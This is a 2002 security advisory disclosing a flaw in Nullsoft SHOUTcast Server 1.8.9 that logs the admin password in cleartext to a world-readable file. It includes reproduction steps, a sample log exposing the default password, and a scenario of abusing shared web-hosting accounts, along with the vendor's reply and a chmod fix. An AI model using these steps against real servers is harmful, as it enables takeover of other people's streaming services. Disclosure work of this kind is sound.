Fate Research Labs Advisory: Retrieve SHOUTcast Admin Password Through GET /

["Loki" <loki () fatelabs com>]

______________________________________________________________
              Fate Research Laboratories
                  Security Advisory


Package:                Nullsoft SHOUTcast Server v1.8.9
Vendor Web Site:        http://www.shoutcast.com
Versions:               < = Latest (v1.8.9)
Platforms:              Windows, FreBSD, Linux, Mac, Solaris
Advisory Title: DJ For a Day! Retrieving the SHOUTcast Admin
                    Password through GET /.
Advisory ID:    F820020731:SHOUT
Issue Date:             Thu Aug  1 11:24:12 EDT 2002
File(s):                sc_serv.log, sc_serv
Local:          Yes
Remote:         No
Fix Available:  No
Vendor Contacted:       Yes (08/03/2002)
Researcher:             Alan "ph33r" Neville <ph33r () fatelabs com>
Fate Web Site:  http://www.fatelabs.com
_______________________________________________________________



1. Overview

There exists a flaw in the logging function for SHOUTcast, 
whereupon a GET request sent to port 8001 of the SHOUTcast 
server triggers the administrative password to be logged 
to a world readable logfile (sc_serv.log) located in the 
SHOUTcast directory. This attack requires a local user 
account to the machine. This attack is especially damaging 
to shared user environments such as web hosting companies 
that allow shell access to their users to a machine hosting 
the SHOUTcast server.


2. Exploit

Point a web browser at the SHOUTcast server port of (:8001) 
http://192.168.0.1:8001

Other methods reproduced this exploit such as telnet and 
winamp directly with a simple GET request. Any TCP connection 
made to this port will fill the debug screen and log File 
with the cleartext password of the admin account.


----------------- debug log file ---------------------------- 

-rw-r--r--  1 ph33r  ph33r    2364 Aug  2 03:20 sc_serv.log

bash-2.05a$ tail -50 sc_serv.log

<08/02/02@03:20:01> [SHOUTcast] DNAS/FreeBSD4 v1.8.9 
(Mar 29 2002) starting up...
<08/02/02@03:20:01> [main] pid: 69400
<08/02/02@03:20:01> [main] loaded config from sc_serv.conf 
<08/02/02@03:20:01> [main] initializing (usermax:32 portbase:8000)... 
<08/02/02@03:20:01> [main] No ban file found (sc_serv.ban) 
<08/02/02@03:20:01> [main] No rip file found (sc_serv.rip) 
<08/02/02@03:20:01> [main] opening source socket 
<08/02/02@03:20:01> [main] source thread starting 
<08/02/02@03:20:02> [main] opening client socket 
<08/02/02@03:20:02> [main] Client Stream thread [0] starting 
<08/02/02@03:20:02> [main] client main thread starting 
<08/02/02@03:20:02> [source] listening for connection on port 8001 
<08/02/02@03:20:13> [source] invalid password from GET 
favicon.ico HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:17> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:17> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:17> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:23> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:24> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:25> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2
<08/02/02@03:20:26> [source] invalid password from GET 
/ HTTP/1.1 changeme 192.168.0.2


/* changeme is the default password shipped with the 
SHOUTcast Server as seen above */


----------------- debug log file ---------------------------- 

3. Impact

The impact of this vulnerability can obviously be quite 
damaging. Lets take for instance that a malicious user decides 
to open up some "trial" web hosting accounts on several ISPs 
that he has identified as offering a SHOUTcast service from 
their machine. The user then opens up his free 30-day trial 
account and aims several GET requests to port 8001 of the machine 
where the SHOUTcast server is listening. The user than logs 
into the machine and locates the location of the SHOUTcast log file
(sc_serv.log) using the locate or find command. Now, what makes 
this vulnreability possible is that SHOUTcast makes no warnings in their

documentation that the log file by default is world readable. 
This obviously means that any user on the system can actually 
tail or cat the log file for the admin password. Repercussions 
obviously being complete administrative control of the SHOUTcast 
server. 



4. Vendor Response

Nullsoft was contacted on 08/03/2002 whereupon Fate Labs pasted 
this Advisory to an email, while providing additional details on 
the Problem. Tom Pepper responded with quite dissidence. A 
statement from his email reads: 

"I fail to see how this constitutes a "critical problem".

Well, unfortunately Nullsoft doesn't see this as an issue. 
Even going as far to say that the clear-text password being 
logged to the logfile was An "oft-request" made by SHOUTcast 
users. After debating the points made by Nullsoft in a followup 
email, no further responses were received. However, much to 
the credit of Nullsoft, a recommendation was made to enforce 
strict umodes on the SHOUTcast binary. It was their belief that 
if appropriate user access was used to start the Sc_serv binary, 
this wouldn't be an issue. We found this to be false.

Following the instructions of the README file as well as 
starting the binary with a non-privileged user, we were in fact 
still able to reproduce the problem.



5. Solution

Until Nullsoft considers this to be an issue, we recommend the 
SHOUTcast admin ensures appropriate permissions on the logfile 
with a simple chmod 750. (chmod 750 sc_serv.log)



(c) Copyright 1997-2002 Fate Research Labs. All Copyrights Reserved.
Web: http://www.fatelabs.com